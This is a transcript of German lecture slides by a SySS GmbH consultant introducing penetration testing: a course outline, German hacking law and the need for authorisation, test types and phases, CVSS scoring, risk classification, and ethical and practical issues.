Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl....

283
Daniel Schalberger, SySS GmbH 1 März 2015 Penetration Testing Daniel Schalberger, SySS GmbH Penetration Testing

Transcript of Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl....

Page 1: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

1 März 2015 Penetration Testing

Daniel Schalberger, SySS GmbH

Penetration Testing

Page 2: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

2 März 2015 Penetration Testing

Dipl. Inform. Daniel Schalberger

Studium in Tübingen (Informatik, Mathe, BWL)

Seit 1999 selbstständig in den Bereichen

• Software-Entwicklung

• Web-Development

• IT-Beratung

Seit 2012 IT-Security Consultant bei der SySS GmbH

Page 3: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

3 März 2015 Penetration Testing

Tag 1: Grundlagen

• Gestaltungsmöglichkeiten • Testmodule • Abschätzung des Testaufwands • Bewertung von Ergebnissen und Dokumentation • Nachverfolgung von Schwachstellen • ethische und Rechtliche Aspekte • Penetration Testing Standards • Hacking-Grundlagen (Footprinting, Portscanning,

Enumeration, Sniffing)

Page 4: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

4 März 2015 Penetration Testing

Tag 2: Webapplikation Hacking

• Schwachstellen in Webapplikationen

• HTTP-Protokoll

• OWASP Top 10

• Cross-Site Scripting

• SQL Injection

• Session Hijacking

• Verschlüsselung

Page 5: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

5 März 2015 Penetration Testing

Tag 3: Windows-Hacking

• Umgang mit Metasploit

• Angriffe gegen Windows-Netzwerke

• Privilege Escalation

• Backdoors

• Angriffe gegen Passwörter

Page 6: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

6 März 2015 Penetration Testing

Tag 4: WLAN Hacking

• Grundlagen der WLAN-Technologie

• WLAN-Sniffing

• Sicherheitsansätze des 802.11 Standards

• Erweiterung des 802.11 Standards

• Authentifizierung in 802.11i

• Funktionsweise der Verschlüsselungsmechanismen

• WLAN-Hacking

Page 7: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

7 März 2015 Penetration Testing

Tag 5: Exploit Development

• Exploit Development

• Prozessorarchitektur

• Grundlagen 80x86-Assembler

• Werkzeuge (Debugger & Co.)

• Stack-based Buffer Overflow

Page 8: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

8 März 2015 Penetration Testing

Begriffe

Schwachstellenscan: automatisierte Suche nach Schwachstellen

Penetrationstest: Angriff auf ein System mit dem Ziel, dort einzudringen. Auch Einsatz manueller Methoden. Ausnutzen gefundener Schwachstellen

Audit: Prüfung auf konzeptioneller Ebene (Interviews, Prozesse, etc.)

Page 9: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

9 März 2015 Penetration Testing

Hacken ist illegal! Strafgesetzbuch: § 202 (Verletzung des Briefgeheimnisses)

§ 202a: Ausspähen von Daten § 202b: Abfangen von Daten § 202c: Vorbereiten des Ausspähens und Abfangens von Daten (sog. Hackerparagraph)

§ 303 (Sachbeschädigung)

§ 303a Datenveränderung § 303b Computersabotage

Page 10: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

10 März 2015 Penetration Testing

§ 202a: Ausspähen von Daten

(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und die gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft. (2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.

Page 11: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

11 März 2015 Penetration Testing

§ 202b: Abfangen von Daten

Wer unbefugt sich oder einem anderen unter Anwendung von technischen Mitteln nicht für ihn bestimmte Daten (§ 202a Abs. 2) aus einer nichtöffentlichen Datenübermittlung oder aus der elektromagnetischen Abstrahlung einer Datenverarbeitungsanlage verschafft, wird mit Freiheitsstrafe bis zu zwei Jahren oder mit Geldstrafe bestraft, wenn die Tat nicht in anderen Vorschriften mit schwererer Strafe bedroht ist.

Page 12: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

12 März 2015 Penetration Testing

§ 202c: Vorbereiten des Ausspähens und Abfangens von Daten

(1) Wer eine Straftat nach § 202a oder § 202b vorbereitet, indem er 1. Passwörter oder sonstige Sicherungscodes, die den Zugang zu Daten (§ 202a Abs. 2) ermöglichen, oder 2. Computerprogramme, deren Zweck die Begehung einer solchen Tat ist, herstellt, sich oder einem anderen verschafft, verkauft, einem anderen überlässt, verbreitet oder sonst zugänglich macht, wird mit Freiheitsstrafe bis zu einem Jahr oder mit Geldstrafe bestraft.

Page 13: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

13 März 2015 Penetration Testing

Was brauchen wir?

GEMEINSCHAFTSKARTE Du kommst aus dem Gefängnis frei. Diese Karte muss behalten werden, bis sie gebraucht oder verkauft wird.

Page 14: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

14 März 2015 Penetration Testing

Genehmigung

Für eine ordentliche Durchführung eines Penetrationstests sind im Vorfeld Genehmigungen aller Beteiligten Instanzen erforderlich.

• Inhaber von IP-Adresse (Provider)

• System-Inhaber

• Betreiber von Applikationen

• Betreiber der Datenbank

• usw.

Page 15: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

15 März 2015 Penetration Testing

Gestaltungsmöglichkeiten

1. Informationsbasis

2. Aggressivität

3. Umfang

4. Vorgehensweise

5. Technik

6. Ausgangspunkt

Page 16: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

16 März 2015 Penetration Testing

Informationsbasis

Testvariante Konsequenzen

Blackbox / Zero-Knowledge

• Kommt einem Angriff durch externe Hacker näher • Verbraucht Zeit für Ermittlung von Spezifikationen • Einige Angriffe erfordern Vorwissen

Greybox • Bevorzugter Mittelweg der SySS GmbH

Whitebox • Berücksichtigung des „Innentäter“-Szenarios / ehemaliger Mitarbeiter

• Einarbeitung in Spezifikationen erfordert Zeit • Aufdeckung von Risiken mit „Laborcharakter“

Page 17: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

17 März 2015 Penetration Testing

Aggressivität

Testvariante Konsequenzen

passiv • kein Ausnutzen von Schwachstellen, minimales Risiko

vorsichtig • Ausnutzung von Schwachstellen, wenn davon i.d.R. keine Gefahr ausgeht

abwägend • Abwägung Risiko vs. Erfolgswahrscheinlichkeit. Z.B: durchprobieren von Passwörtern

aggressiv • hohes Risiko (Ausfall vieler Komponenten möglich) • hoher Erkenntnisgewinn • z.B. Ausnutzung von Buffer-Overflow-

Schwachstellen bei nicht eindeutig identifizierten Zielen

Page 18: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

18 März 2015 Penetration Testing

Umfang

Testvariante Konsequenzen

fokussiert • Prüfung einzelner Systeme, Z.B. bei Erweiterung der Systemlandschaft

• geringer Erkenntnisgewinn: neue Systeme sind häufig sehr sicher

begrenzt • Beschränkung auf bestimmt Systemgruppen / Repräsentanten

vollständig • hoher Erkenntnisgewinn • evtl. lange Testdauer

Page 19: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

19 März 2015 Penetration Testing

Vorgehensweise

Testvariante Konsequenzen

verdeckt • nur ein minimaler Personenkreis weiß über den Test Bescheid

• Prüfung sekundärer Sicherheits-Systeme / Eskalations-Prozeduren

• vorsichtige Tests (Stealth)

offensichtlich • gesteigerte Effizienz durch Automatisierung • schnellere Reaktion auf mögliche Probleme (DoS)

Page 20: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

20 März 2015 Penetration Testing

Technik

Testvariante Konsequenzen

Netzwerk • entspricht typischem Hackerangriff

Physischer Zugriff • Erleichtert z.B. Sniffen, Umgehung von Firewalls, Angriffe über Schnittstellen (USB, Firewire)

Social Engineering • oft ist der Mensch das schwächste Glied • ethische Überlegungen berücksichtigen

Page 21: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

21 März 2015 Penetration Testing

Ausgangspunkt

Testvariante Konsequenzen

von außen • Test der DMZ (Webserver, Mailserver, VPN, etc.) • wenig Systeme mit wenig offenen Ports • vollständige Betrachtung aller Dienste möglich

von innen • Zugriff auf Systeme ohne Firewalls • viele Systeme mit vielen offenen Ports • eher stichprobenhaft • Netzwerkverkehr kann mit analysiert werden • Bildet Putzpersonal- / Praktikanten-Szenario ab

Page 22: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

22 März 2015 Penetration Testing

5 Phasen eines Pentests

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 23: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

23 März 2015 Penetration Testing

Phase 1: Vorbereitung

• Rahmenbedingungen schaffen

• Ziele Definieren

• Module auswählen

• Aufwand abschätzen

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 24: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

24 März 2015 Penetration Testing

Rahmenbedingungen Diskussion wichtiger Fragen: Wer ist, abgesehen von dem Auftraggeber, vom Penetrationstest betroffen? Genehmigungen einholen! Was ist bezüglich des Durchführungszeitraumes zu beachten? Welchen Aufwand bedeutet der Pentest für den Auftraggeber? Wieviel Vorlauf ist erforderlich? Welche Mitarbeiter des Auftraggebers sind durch den Penetrationstest betroffen? Wer kann Zugangsberechtigungen bereitstellen?

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 25: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

25 März 2015 Penetration Testing

Rahmenbedingungen 2 Was ist im Falle einer Störung / eines Notfalls zu tun? Zum Beispiel • Totalausfall des Systems • Teilausfall von bestimmten Subsystemen • falsche Antworten des Systems • stark gestiegenen Antwortzeiten des

Systems • eingeleitete Gegenmaßnahmen bei

einem verdeckten Penetrationstest • Angriffe Dritter gegen das System

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 26: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

26 März 2015 Penetration Testing

Auswahl der Testmodule • KICK: Kickoff-Workshop • PERIM: Perimetererkennung • INTERNET: Analyse aus dem Internet • WEBAPP: Prüfung von Webapplikationen • WEBSERVICE: Prüfung von Webservices • LAN/WAN: Sicherheitstests im Internen Netz • MOBILE: Prüfung von APPs / MDM-Lösungen • WLAN: Test von WLAN-Netzwerken • PIVOT: Kompromittierte DMZ • PRODUCT: Produkt- / Labortests • DOCU: Dokumentation

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 27: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

27 März 2015 Penetration Testing

Aufwandsabschätzung

Überlegungen die in die Aufwandsabschätzung einfließen:

• Zielsetzung und Umfang des Penetrationstests

• Größe der zu testenden Infrastruktur

• Komplexität der zu testenden Infrastruktur

• Schutzbedarf der verarbeiteten Daten

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 28: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

28 März 2015 Penetration Testing

Phase 2: Informationsbeschaffung

• Auswertung bereits bekannter Informationen

• Host Discovery

• Portscans

• Banner Grabbing

• Service Enumeration (SNMP, NetBIOS, …)

• Schwachstellenscan

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 29: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

29 März 2015 Penetration Testing

Phase 3: Bewertung der Informationen

• Ziele für manuelle Angriffe auswählen

• Aufwand und Erfolgschancen abwägen (unter wirtschaftlichen Gesichtspunkten)

• Setzen von Prioritäten

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 30: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

30 März 2015 Penetration Testing

Phase 4: Aktive Eindringversuche

• Ausnutzung gefundener oder vermuteter Schwachstellen

• mit hohem Risiko für die getesteten Systeme verbunden

• Dokumentation aller Angriffsversuche

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 31: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

31 März 2015 Penetration Testing

Phase 5: Abschlussanalyse Am Ende stehen: Abschlussgespräch / -präsentation / -bericht Der Abschlussbericht sollte enthalten: • Durchgeführte Angriffe und gefundene

Schwachstellen in nachvollziehbarer Form (Screenshots, Programmausgaben etc.)

• Bewertungen der gefundenen Schwachstellen • Empfehlungen, wie die Schwachstellen

beseitigt werden können • Aktionsplan, Priorisierung

1. Vorbereitung

2. Informationsbeschaffung

3. Bewertung der Inform.

5. Abschlussanalyse

4. Aktive Angriffe

Page 32: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

32 März 2015 Penetration Testing

Page 33: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

33 März 2015 Penetration Testing

Klassifizierung von Schwachstellen

Klassifizierung erforderlich

• Vergleichbarkeit

• Priorisierung

Typische Fragen:

• „Wie gut sind wir?“

• „Wie sind wir im Vergleich mit anderen?“

• „Wie ist der Trend unserer Sicherheit?“

Page 34: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

34 März 2015 Penetration Testing

Common Vulnerability Scoring System (CVSS)

• Bewertungssystem für Sicherheitslücken

• Bewertung nach Fakten, kein (wenig) Interpretationsspielraum

• Vergleichbarkeit von Schwachstellen

Ausnutzbarkeit Stufen

Zugriff (Access Vector)

lokal (0.395) lokales Netz (0.646) Internet (1.0)

Schwierigkeit (Access Complex.)

hoch (0.35) mittel (0.61) gering (0.71)

Anmeldung (Authentication)

mehrfach (0.45) einfach (0.56) ohne (0.704)

Auswirkung Stufen

Vertraulichkeit (Confidentiality)

keine (0.0) teilweise (0.275) vollständig (0.660)

Integrität (Integrity)

keine (0.0) teilweise (0.275) vollständig (0.660)

Verfügbarkeit (Availablility)

keine (0.0) teilweise (0.275) vollständig (0.660)

Page 35: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

35 März 2015 Penetration Testing

CVSS-Berechnung

Exploitability = 20* Zugriff * Schwierigkeit * Anmeldung

Impact = 10.41*(1-(1-ConfImpact)*(1-IntegImpact)*(1-AvailImpact))

f(impact)= 0 if Impact=0, 1.176 otherwise

BaseScore = round_to_1_decimal(((0.6*Impact)+(0.4*Exploitability)-1.5)*f(Impact))

(Zahl zwischen 0 und 10)

Ausnutzbarkeit Stufen

Zugriff (Access Vector)

lokal (0.395) lokales Netz (0.646) Internet (1.0)

Schwierigkeit (Access Complex.)

hoch (0.35) mittel (0.61) gering (0.71)

Anmeldung (Authentication)

mehrfach (0.45) einfach (0.56) ohne (0.704)

Auswirkung Stufen

Vertraulichkeit (Confidentiality)

keine (0.0) teilweise (0.275) vollständig (0.660)

Integrität (Integrity)

keine (0.0) teilweise (0.275) vollständig (0.660)

Verfügbarkeit (Availablility)

keine (0.0) teilweise (0.275) vollständig (0.660)

Page 36: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

36 März 2015 Penetration Testing

CVSS: Beispiel 1 – unverschlüsseltes FTP

CVSS Base Score: 2.4

Ausnutzbarkeit Stufen

Zugriff (Access Vector)

lokal (0.395) lokales Netz (0.646) Internet (1.0)

Schwierigkeit (Access Complex.)

hoch (0.35) mittel (0.61) gering (0.71)

Anmeldung (Authentication)

mehrfach (0.45) einfach (0.56) ohne (0.704)

Auswirkung Stufen

Vertraulichkeit (Confidentiality)

keine (0.0) teilweise (0.275) vollständig (0.660)

Integrität (Integrity)

keine (0.0) teilweise (0.275) vollständig (0.660)

Verfügbarkeit (Availablility)

keine (0.0) teilweise (0.275) vollständig (0.660)

Page 37: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

37 März 2015 Penetration Testing

CVSS: Beispiel 2 – FTP mit SSLv2-Unterstützung

CVSS Base Score: 5.0

Ausnutzbarkeit Stufen

Zugriff (Access Vector)

lokal (0.395) lokales Netz (0.646) Internet (1.0)

Schwierigkeit (Access Complex.)

hoch (0.35) mittel (0.61) gering (0.71)

Anmeldung (Authentication)

mehrfach (0.45) einfach (0.56) ohne (0.704)

Auswirkung Stufen

Vertraulichkeit (Confidentiality)

keine (0.0) teilweise (0.275) vollständig (0.660)

Integrität (Integrity)

keine (0.0) teilweise (0.275) vollständig (0.660)

Verfügbarkeit (Availablility)

keine (0.0) teilweise (0.275) vollständig (0.660)

Page 38: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

38 März 2015 Penetration Testing

CVSS: Fazit

• Problem 1: Abschalten der Verschlüsselung minimiert CVSS-Score

• Problem 2: Es bleibt Interpretationsspielraum

• Daher: weitere „Verbesserungen“:

– CVSS Temporal Score

– CVSS Environmental Score

Page 39: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

39 März 2015 Penetration Testing

Einfache Klassifizierung

Risikoklasse Beschreibung

Hohes Risiko Es gelingt Zugriff auf Daten, auf die nicht zugegriffen werden darf. Nicht berücksichtigt ist die Werthaltigkeit der betroffenen Daten

Mittleres Risiko Sicherheitslücken, die erst zusammen mit weiteren, auch menschlichen, Komponenten geeignet sind, einen Sicherheitsvorfall zuzulassen

Niedriges Risiko Schwächen, die keine Änderung oder Einsichtnahme durch nicht authentisierte Angreifer zulässt Ausnutzung nur theoretisch / Laborcharakter

Information Leaks Preisgabe von Informationen, die weitere Angriffe erleichtern: Versionsinformationen, Benutzernamen etc.

Page 40: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

40 März 2015 Penetration Testing

Nachverfolgung von Schwachstellen

Ein Penetrationstest stellt immer nur eine Momentaufnahme dar

IT-Umgebungen altern, dabei geht i.d.R. Sicherheit verloren

Daher:

• Nachtests

• Regelmäßige Prüfungen

• Langfristige Testpläne

Page 41: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

41 März 2015 Penetration Testing

Vergleichbarkeit von Prüfungen

Ergebnisse nur bedingt miteinander vergleichbar:

• Prüfmethoden ändern sich

• Subjektivität (Ergebnis kann vom Prüfer abhängen)

• IT-Landschaft verändert sich

• Neue Schwachstellen werden entdeckt (z.B. 2014 Heartbleed und Shellshock)

Page 42: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

42 März 2015 Penetration Testing

Penetration Testing Standards Ziele: • Einheitliches Vorgehen / Vergleichbarkeit von

Prüfungen • Wirtschaftliche Vorgehen • Nichts Wesentliches übersehen

OWASP (Open Web Application Security Project): Top 10 / Testing Manual OSSTMM (Open Source Security Testing Methodology Manual) BSI: Durchführungskonzept für Penetrationstests

Page 43: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

43 März 2015 Penetration Testing

Ethische Fragen

• Ankauf von Exploits?

• Ankauf von Exploit-Sammlungen (z.B. Core Impact, Canvas, Metasploit)?

• Teilnahme an Hacker-Konferenzen?

• Sponsoring von Hacker-Konferenzen?

Page 44: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

44 März 2015 Penetration Testing

Rechtliche Fragen

• Strafgesetzbuch

• Zugangskontrolldiensteschutzgesetz (ZKDSG)

– Umgehung von Schutzmaßnahmen

• Betriebsverfassungsgesetz (BetrVG)

– Mitspracherecht des Betriebsrats

• Telekommunikationsgesetz (TKG)

– Missbrauch von Sendeanlagen

– Abhörverbot

Page 45: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

45 März 2015 Penetration Testing

Typische Probleme

• Geduldsspiele (System nicht erreichbar) • unpräziser Scope (mehr Systeme als erwartet,

andere Technologien) • Keine / Fehlerhafte Dokumentation • Unzureichende Netzwerkverbindung (langsames

VPN, instabile Firewall, gar keine Verbindung) • Falschaussagen von Administratoren,

manipulierte Programmausgaben • Aufforderung, ein Finding im Bericht zu

verändern

Page 46: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

46 März 2015 Penetration Testing

selbst gemachte Probleme

• unklarer Scope („Darf ich das eigentlich?“)

• fehlende Vorbereitung / fehlendes Equipment (Kabel, Adapter, Tools)

• zu starres Vertrauen auf Scripts, Scanner, Checklisten

• Aufnahme von False Positives in den Bericht

• Unpräziser / nicht nachvollziehbarer Bericht

• Nichteinhaltung von Zusagen (z.B. Berichts-Deadline, Verzicht auf automatisierte Tools)

Page 47: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

47 März 2015 Penetration Testing

Anforderungen • Kenntnisse von Betriebssystemen (Windows / Unix /

Linux) • Kenntnisse im Bereich TCP/IP und weiterer

Netzwerkprotokolle • Kenntnisse aktueller Schwachstellen • Kenntnisse im Bereich Programmiersprachen • Kenntnisse im Bereich von IT-Sicherheitsprodukten • Kenntnisse in der Handhabung von Hackertools • Kenntnisse im Bereich IT-Sicherheit • Kreativität • Verantwortungsbewusstsein

Page 48: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

48 März 2015 Penetration Testing

Teil 2

Praktisches Hacking

Page 49: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

49 März 2015 Penetration Testing

Vorlesungs-Umgebung • Kali-Linux Linux-Distribution für Pentester Diverse nützliche Werkzeuge (Nmap, Wireshark, Burp Suite, Metasploit, Sqlmap, …) sind schon enthalten

